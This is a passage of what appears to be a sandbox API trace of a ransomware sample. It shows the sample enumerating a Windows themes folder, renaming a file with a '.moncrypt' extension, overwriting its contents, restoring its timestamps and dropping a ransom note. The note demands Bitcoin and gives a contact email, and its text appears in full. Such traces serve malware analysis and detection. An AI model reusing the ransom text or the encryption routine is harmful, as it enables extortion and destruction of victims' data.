dwFlags=0x0, lpMultiByteStr=0x1e6a578, cbMultiByte=10, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr=":\\windows\\olume information\\pdata\\roaming\\eft SQL Server Compact Edition\\T?\x18㱴眵㲣眵脒睘") returned 10 [0054.129] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SPRING\\", cchLength=0x3f | out: lpsz="c:\\program files\\common files\\microsoft shared\\themes14\\spring\\") returned 0x3f [0054.129] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e6a578, cbMultiByte=8, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr=":\\intel\\s\\olume information\\pdata\\roaming\\eft SQL Server Compact Edition\\T?\x18㱴眵㲣眵脒睘") returned 8 [0054.129] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SPRING\\", cchLength=0x3f | out: lpsz="c:\\program files\\common files\\microsoft shared\\themes14\\spring\\") returned 0x3f [0054.129] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e6a578, cbMultiByte=9, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr=":\\nvidia\\\\olume information\\pdata\\roaming\\eft SQL Server Compact Edition\\T?\x18㱴眵㲣眵脒睘") returned 9 [0054.129] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SPRING\\", cchLength=0x3f | out: lpsz="c:\\program files\\common files\\microsoft shared\\themes14\\spring\\") returned 0x3f [0054.129] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e5a788, cbMultiByte=13, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="\\trend micro\\me information\\pdata\\roaming\\eft SQL Server Compact Edition\\T?\x18㱴眵㲣眵脒睘") returned 13 [0054.129] GlobalLock (hMem=0x440004) returned 0x550170 [0054.129] GlobalHandle (pMem=0x550170) returned 0x440004 [0054.129] GlobalUnlock (hMem=0x440004) returned 0 [0054.129] GlobalLock (hMem=0x440004) returned 0x550170 [0054.129] GlobalLock (hMem=0x44000c) returned 0x555b78 [0054.130] GlobalHandle (pMem=0x550170) returned 0x440004 [0054.130] GlobalUnlock (hMem=0x440004) returned 0 [0054.130] GlobalHandle (pMem=0x555b78) returned 0x44000c [0054.130] GlobalUnlock (hMem=0x44000c) returned 0 [0054.130] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SPRING\\*.*", lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a71ef90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d4d5410, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d4d5410, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x54e200 [0054.130] FindNextFileW (in: hFindFile=0x54e200, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a71ef90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d4d5410, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d4d5410, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0054.130] FindNextFileW (in: hFindFile=0x54e200, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5a71ef90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x9df, dwReserved0=0x0, dwReserved1=0x0, cFileName="PREVIEW.GIF", cAlternateFileName="")) returned 1 [0054.130] FileTimeToLocalFileTime (in: lpFileTime=0x18eb78, lpLocalFileTime=0x18ea88 | out: lpLocalFileTime=0x18ea88) returned 1 [0054.130] FileTimeToDosDateTime (in: lpFileTime=0x18ea88, lpFatDate=0x18eb46, lpFatTime=0x18eb44 | out: lpFatDate=0x18eb46, lpFatTime=0x18eb44) returned 1 [0054.130] GlobalLock (hMem=0x44000c) returned 0x555b78 [0054.130] GlobalHandle (pMem=0x555b78) returned 0x44000c [0054.130] GlobalUnlock (hMem=0x44000c) returned 0 [0054.130] GlobalLock (hMem=0x44000c) returned 0x555b78 [0054.130] GlobalLock (hMem=0x440004) returned 0x557b88 [0054.130] GlobalHandle (pMem=0x555b78) returned 0x44000c [0054.130] GlobalUnlock (hMem=0x44000c) returned 0 [0054.130] GlobalHandle (pMem=0x557b88) returned 0x440004 [0054.130] GlobalUnlock (hMem=0x440004) returned 0 [0054.130] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0054.130] CharLowerBuffW (in: lpsz="PREVIEW.GIF", cchLength=0xb | out: lpsz="preview.gif") returned 0xb [0054.130] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="f", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="fê\x18", lpUsedDefaultChar=0x0) returned 1 [0054.130] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="i", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="iê\x18", lpUsedDefaultChar=0x0) returned 1 [0054.130] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="g", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="gê\x18", lpUsedDefaultChar=0x0) returned 1 [0054.130] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".ê\x18", lpUsedDefaultChar=0x0) returned 1 [0054.130] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="w", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="wê\x18", lpUsedDefaultChar=0x0) returned 1 [0054.131] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="e", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="eê\x18", lpUsedDefaultChar=0x0) returned 1 [0054.131] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="i", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="iê\x18", lpUsedDefaultChar=0x0) returned 1 [0054.131] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="v", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="vê\x18", lpUsedDefaultChar=0x0) returned 1 [0054.131] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="e", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="eê\x18", lpUsedDefaultChar=0x0) returned 1 [0054.131] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="r", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="rê\x18", lpUsedDefaultChar=0x0) returned 1 [0054.131] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="p", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="pê\x18", lpUsedDefaultChar=0x0) returned 1 [0054.131] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e39128, cbMultiByte=34, lpWideCharStr=0x18da24, cchWideChar=2047 | out: lpWideCharStr="how to recover encrypted files.txt?\x18\x06") returned 34 [0054.131] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SPRING\\PREVIEW.GIF", cchWideChar=74, lpMultiByteStr=0x18da00, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SPRING\\PREVIEW.GIFy", lpUsedDefaultChar=0x0) returned 74 [0054.131] FileTimeToLocalFileTime (in: lpFileTime=0x18eb78, lpLocalFileTime=0x18ea84 | out: lpLocalFileTime=0x18ea84) returned 1 [0054.131] FileTimeToDosDateTime (in: lpFileTime=0x18ea84, lpFatDate=0x18eb46, lpFatTime=0x18eb44 | out: lpFatDate=0x18eb46, lpFatTime=0x18eb44) returned 1 [0054.131] GlobalLock (hMem=0x440004) returned 0x555b78 [0054.131] GlobalHandle (pMem=0x555b78) returned 0x440004 [0054.131] GlobalUnlock (hMem=0x440004) returned 0 [0054.131] GlobalLock (hMem=0x440004) returned 0x555b78 [0054.131] GlobalLock (hMem=0x44000c) returned 0x557b88 [0054.131] GlobalHandle (pMem=0x555b78) returned 0x440004 [0054.131] GlobalUnlock (hMem=0x440004) returned 0 [0054.131] GlobalHandle (pMem=0x557b88) returned 0x44000c [0054.131] GlobalUnlock (hMem=0x44000c) returned 0 [0054.131] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0054.131] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SPRING\\я" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\spring\\я"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x18c [0054.132] WriteFile (in: hFile=0x18c, lpBuffer=0x1e61d58*, nNumberOfBytesToWrite=0x1, lpNumberOfBytesWritten=0x18ea30, lpOverlapped=0x0 | out: lpBuffer=0x1e61d58*, lpNumberOfBytesWritten=0x18ea30*=0x1, lpOverlapped=0x0) returned 1 [0054.132] CloseHandle (hObject=0x18c) returned 1 [0054.133] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SPRING\\я" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\spring\\я")) returned 1 [0054.134] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SPRING\\SPRING.ELM", lpFindFileData=0x18e7c4 | out: lpFindFileData=0x18e7c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2ab5b300, ftCreationTime.dwHighDateTime=0x1cab7f2, ftLastAccessTime.dwLowDateTime=0x5ab49610, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x2ab5b300, ftLastWriteTime.dwHighDateTime=0x1cab7f2, nFileSizeHigh=0x0, nFileSizeLow=0x10af1, dwReserved0=0x0, dwReserved1=0x0, cFileName="SPRING.ELM", cAlternateFileName="")) returned 0x54e240 [0054.134] FileTimeToLocalFileTime (in: lpFileTime=0x18e7d8, lpLocalFileTime=0x18e6f0 | out: lpLocalFileTime=0x18e6f0) returned 1 [0054.134] FileTimeToDosDateTime (in: lpFileTime=0x18e6f0, lpFatDate=0x18e7a6, lpFatTime=0x18e7a4 | out: lpFatDate=0x18e7a6, lpFatTime=0x18e7a4) returned 1 [0054.134] FindClose (in: hFindFile=0x54e240 | out: hFindFile=0x54e240) returned 1 [0054.134] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SPRING\\SPRING.ELM", dwFileAttributes=0x20) returned 1 [0054.139] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e699f0, cbMultiByte=9, lpWideCharStr=0x18d700, cchWideChar=2047 | out: lpWideCharStr=".moncrypt") returned 9 [0054.139] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SPRING\\SPRING.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\spring\\spring.elm"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SPRING\\SPRING.ELM.moncrypt" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\spring\\spring.elm.moncrypt")) returned 1 [0054.140] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SPRING\\SPRING.ELM.moncrypt" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\spring\\spring.elm.moncrypt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x18c [0054.140] SetFilePointer (in: hFile=0x18c, lDistanceToMove=0, lpDistanceToMoveHigh=0x18e6d0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x18e6d0*=0) returned 0x0 [0054.140] SetFilePointer (in: hFile=0x18c, lDistanceToMove=0, lpDistanceToMoveHigh=0x18e6d0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x18e6d0*=0) returned 0x10af1 [0054.140] SetFilePointer (in: hFile=0x18c, lDistanceToMove=0, lpDistanceToMoveHigh=0x18e6d0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18e6d0*=0) returned 0x0 [0054.140] ReadFile (in: hFile=0x18c, lpBuffer=0x1dbe1a8, nNumberOfBytesToRead=0x4000, lpNumberOfBytesRead=0x18e6f4, lpOverlapped=0x0 | out: lpBuffer=0x1dbe1a8*, lpNumberOfBytesRead=0x18e6f4*=0x4000, lpOverlapped=0x0) returned 1 [0054.142] GlobalLock (hMem=0x44000c) returned 0x555b78 [0054.142] GlobalLock (hMem=0x440004) returned 0x55bb88 [0054.142] GlobalHandle (pMem=0x55bb88) returned 0x440004 [0054.143] GlobalUnlock (hMem=0x440004) returned 0 [0054.143] GlobalReAlloc (hMem=0x440004, dwBytes=0x4000, uFlags=0x2) returned 0x440004 [0054.143] GlobalLock (hMem=0x440004) returned 0x55bb88 [0054.143] GlobalHandle (pMem=0x55bb88) returned 0x440004 [0054.143] GlobalUnlock (hMem=0x440004) returned 0 [0054.143] GlobalReAlloc (hMem=0x440004, dwBytes=0x6000, uFlags=0x2) returned 0x440004 [0054.143] GlobalLock (hMem=0x440004) returned 0x55bb88 [0054.143] GlobalHandle (pMem=0x555b78) returned 0x44000c [0054.143] GlobalUnlock (hMem=0x44000c) returned 0 [0054.143] GlobalHandle (pMem=0x55bb88) returned 0x440004 [0054.143] GlobalUnlock (hMem=0x440004) returned 0 [0054.143] GlobalLock (hMem=0x440004) returned 0x555b78 [0054.143] GlobalHandle (pMem=0x555b78) returned 0x440004 [0054.143] GlobalUnlock (hMem=0x440004) returned 0 [0054.143] GlobalReAlloc (hMem=0x440004, dwBytes=0x6000, uFlags=0x2) returned 0x440004 [0054.143] GlobalLock (hMem=0x440004) returned 0x555b78 [0054.143] GlobalHandle (pMem=0x555b78) returned 0x440004 [0054.143] GlobalUnlock (hMem=0x440004) returned 0 [0054.143] ReadFile (in: hFile=0x18c, lpBuffer=0x1e39128, nNumberOfBytesToRead=0x20, lpNumberOfBytesRead=0x18e6f4, lpOverlapped=0x0 | out: lpBuffer=0x1e39128*, lpNumberOfBytesRead=0x18e6f4*=0x20, lpOverlapped=0x0) returned 1 [0054.143] SetFilePointer (in: hFile=0x18c, lDistanceToMove=0, lpDistanceToMoveHigh=0x18e6e8*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18e6e8*=0) returned 0x0 [0054.143] WriteFile (in: hFile=0x18c, lpBuffer=0x1dbe1a8*, nNumberOfBytesToWrite=0x4020, lpNumberOfBytesWritten=0x18e6f0, lpOverlapped=0x0 | out: lpBuffer=0x1dbe1a8*, lpNumberOfBytesWritten=0x18e6f0*=0x4020, lpOverlapped=0x0) returned 1 [0054.143] SetFilePointer (in: hFile=0x18c, lDistanceToMove=68337, lpDistanceToMoveHigh=0x18e6e8*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18e6e8*=0) returned 0x10af1 [0054.143] WriteFile (in: hFile=0x18c, lpBuffer=0x1e39128*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x18e6f0, lpOverlapped=0x0 | out: lpBuffer=0x1e39128*, lpNumberOfBytesWritten=0x18e6f0*=0x20, lpOverlapped=0x0) returned 1 [0054.144] WriteFile (in: hFile=0x18c, lpBuffer=0x18e76c*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x18e6f0, lpOverlapped=0x0 | out: lpBuffer=0x18e76c*, lpNumberOfBytesWritten=0x18e6f0*=0x8, lpOverlapped=0x0) returned 1 [0054.144] WriteFile (in: hFile=0x18c, lpBuffer=0x1e61d68*, nNumberOfBytesToWrite=0x1, lpNumberOfBytesWritten=0x18e6f0, lpOverlapped=0x0 | out: lpBuffer=0x1e61d68*, lpNumberOfBytesWritten=0x18e6f0*=0x1, lpOverlapped=0x0) returned 1 [0054.155] WriteFile (in: hFile=0x18c, lpBuffer=0x1dbe1c8*, nNumberOfBytesToWrite=0x9c, lpNumberOfBytesWritten=0x18e6f0, lpOverlapped=0x0 | out: lpBuffer=0x1dbe1c8*, lpNumberOfBytesWritten=0x18e6f0*=0x9c, lpOverlapped=0x0) returned 1 [0054.155] CloseHandle (hObject=0x18c) returned 1 [0054.156] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SPRING\\SPRING.ELM.moncrypt" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\spring\\spring.elm.moncrypt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x18c [0054.156] SetFileTime (hFile=0x18c, lpCreationTime=0x18e794, lpLastAccessTime=0x18e78c, lpLastWriteTime=0x18e784) returned 1 [0054.156] CloseHandle (hObject=0x18c) returned 1 [0054.156] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SPRING\\SPRING.ELM.moncrypt", dwFileAttributes=0x20) returned 1 [0054.157] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e390c8, cbMultiByte=34, lpWideCharStr=0x18da28, cchWideChar=2047 | out: lpWideCharStr="HOW TO RECOVER ENCRYPTED FILES.TXT\x06") returned 34 [0054.157] GlobalLock (hMem=0x440004) returned 0x555b78 [0054.157] GlobalHandle (pMem=0x555b78) returned 0x440004 [0054.157] GlobalUnlock (hMem=0x440004) returned 0 [0054.157] GlobalLock (hMem=0x440004) returned 0x555b78 [0054.157] GlobalLock (hMem=0x44000c) returned 0x557b88 [0054.157] GlobalHandle (pMem=0x555b78) returned 0x440004 [0054.157] GlobalUnlock (hMem=0x440004) returned 0 [0054.157] GlobalHandle (pMem=0x557b88) returned 0x44000c [0054.157] GlobalUnlock (hMem=0x44000c) returned 0 [0054.157] CompareStringA (Locale=0x400, dwCmpFlags=0x0, lpString1="{{IDENTIFIER}}\r\n\r\nAll your files have been encrypted due to a security problem with your PC.\r\n\r\nNow you should send us email with your personal identifier.\r\nThis email will be as confirmation you are ready to pay for decryption key.\r\nYou have to pay for decryption in Bitcoins. The price depends on how fast you write to us.\r\nAfter payment we will send you the decryption tool that will decrypt all your files.\r\n\r\nContact us using this email address: moncoin@protonmail.com\r\n\r\nFree decryption as guarantee!\r\nBefore paying you can send us up to 3 files for free decryption.\r\nThe total size of files must be less than 10Mb (non archived), and files should not contain\r\nvaluable information (databases, backups, large excel sheets, etc.).\r\n\r\nIf you are waiting for a message from us for more than 12 hours, check spam folder.\r\n\r\nAttention!\r\n * Do not rename encrypted files.\r\n * Do not try to decrypt your data using third party software, it may cause permanent data loss.\r\n * Decryption of your files with the help of third parties may cause increased price \r\n (they add their fee to our) or you can become a victim of a scam.", cchCount1=14, lpString2="{{IDENTIFIER}}", cchCount2=14) returned 2 [0054.157] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SPRING\\HOW TO RECOVER ENCRYPTED FILES.TXT", lpFindFileData=0x18e7dc | out: lpFindFileData=0x18e7dc*(dwFileAttributes=0x500000, ftCreationTime.dwLowDateTime=0x557b88, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x1e6a588, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0xbf4c5bf0, ftLastWriteTime.dwHighDateTime=0x5664e257, nFileSizeHigh=0x387e4e42, nFileSizeLow=0x5000c4, dwReserved0=0x503a80, dwReserved1=0x5664e257, cFileName="", cAlternateFileName="")) returned 0xffffffff [0054.157] GetLastError () returned 0x2 [0054.158] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SPRING\\HOW TO RECOVER ENCRYPTED FILES.TXT" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\spring\\how to recover encrypted files.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x18c [0054.159] WriteFile (in: hFile=0x18c, lpBuffer=0x1dccd48*, nNumberOfBytesToWrite=0x649, lpNumberOfBytesWritten=0x18e9e4, lpOverlapped=0x0 | out: lpBuffer=0x1dccd48*, lpNumberOfBytesWritten=0x18e9e4*=0x649, lpOverlapped=0x0) returned 1 [0054.160] CloseHandle (hObject=0x18c) returned 1 [0054.160] FindNextFileW (in: hFindFile=0x54e200, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6d3a4910, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x1d2, dwReserved0=0x0, dwReserved1=0x0, cFileName="SPRING.INF", cAlternateFileName="")) returned 1 [0054.160] FileTimeToLocalFileTime (in: lpFileTime=0x18eb78, lpLocalFileTime=0x18ea84 | out: lpLocalFileTime=0x18ea84) returned 1 [0054.160] FileTimeToDosDateTime (in: lpFileTime=0x18ea84, lpFatDate=0x18eb46, lpFatTime=0x18eb44 | out: lpFatDate=0x18eb46, lpFatTime=0x18eb44) returned 1 [0054.161] GlobalLock (hMem=0x44000c) returned 0x555b78 [0054.161] GlobalHandle (pMem=0x555b78) returned 0x44000c [0054.161] GlobalUnlock (hMem=0x44000c) returned 0 [0054.161] GlobalLock (hMem=0x44000c) returned 0x555b78 [0054.161] GlobalLock (hMem=0x440004) returned 0x557b88 [0054.161] GlobalHandle (pMem=0x555b78) returned 0x44000c [0054.161] GlobalUnlock (hMem=0x44000c) returned 0 [0054.161] GlobalHandle (pMem=0x557b88) returned 0x440004 [0054.161] GlobalUnlock (hMem=0x440004) returned 0 [0054.161] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0054.161] CharLowerBuffW (in: lpsz="SPRING.INF", cchLength=0xa | out: lpsz="spring.inf") returned 0xa [0054.161] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="f", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="fê\x18", lpUsedDefaultChar=0x0) returned 1 [0054.161] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="n", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="nê\x18", lpUsedDefaultChar=0x0) returned 1 [0054.161] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="i", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="iê\x18", lpUsedDefaultChar=0x0) returned 1 [0054.161] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".ê\x18", lpUsedDefaultChar=0x0) returned 1 [0054.161] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="g", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="gê\x18", lpUsedDefaultChar=0x0) returned 1 [0054.161] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="n", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="nê\x18", lpUsedDefaultChar=0x0) returned 1 [0054.161] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="i", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="iê\x18", lpUsedDefaultChar=0x0) returned 1 [0054.161] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="r", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="rê\x18", lpUsedDefaultChar=0x0) returned 1 [0054.161] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="p", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="pê\x18", lpUsedDefaultChar=0x0) returned 1 [0054.161] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="s", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="sê\x18", lpUsedDefaultChar=0x0) returned 1 [0054.161] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e39128, cbMultiByte=34, lpWideCharStr=0x18da24, cchWideChar=2047 | out: lpWideCharStr="how to recover encrypted files.txtXT\x06") returned 34 [0054.161] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SPRING\\SPRING.INF", cchWideChar=73, lpMultiByteStr=0x18da00, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SPRING\\SPRING.INF", lpUsedDefaultChar=0x0) returned 73 [0054.162] CharLowerBuffW (in: lpsz=".INF", cchLength=0x4 | out: lpsz=".inf") returned 0x4 [0054.162] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".inf", cchWideChar=4, lpMultiByteStr=0x18da24, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".infShared\\THEMES14\\SPRING\\SPRING.INF", lpUsedDefaultChar=0x0) returned 4 [0054.162] FindNextFileW (in: hFindFile=0x54e200, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6d4d5410, ftLastAccessTime.dwHighDateTime=0x1d301bf, 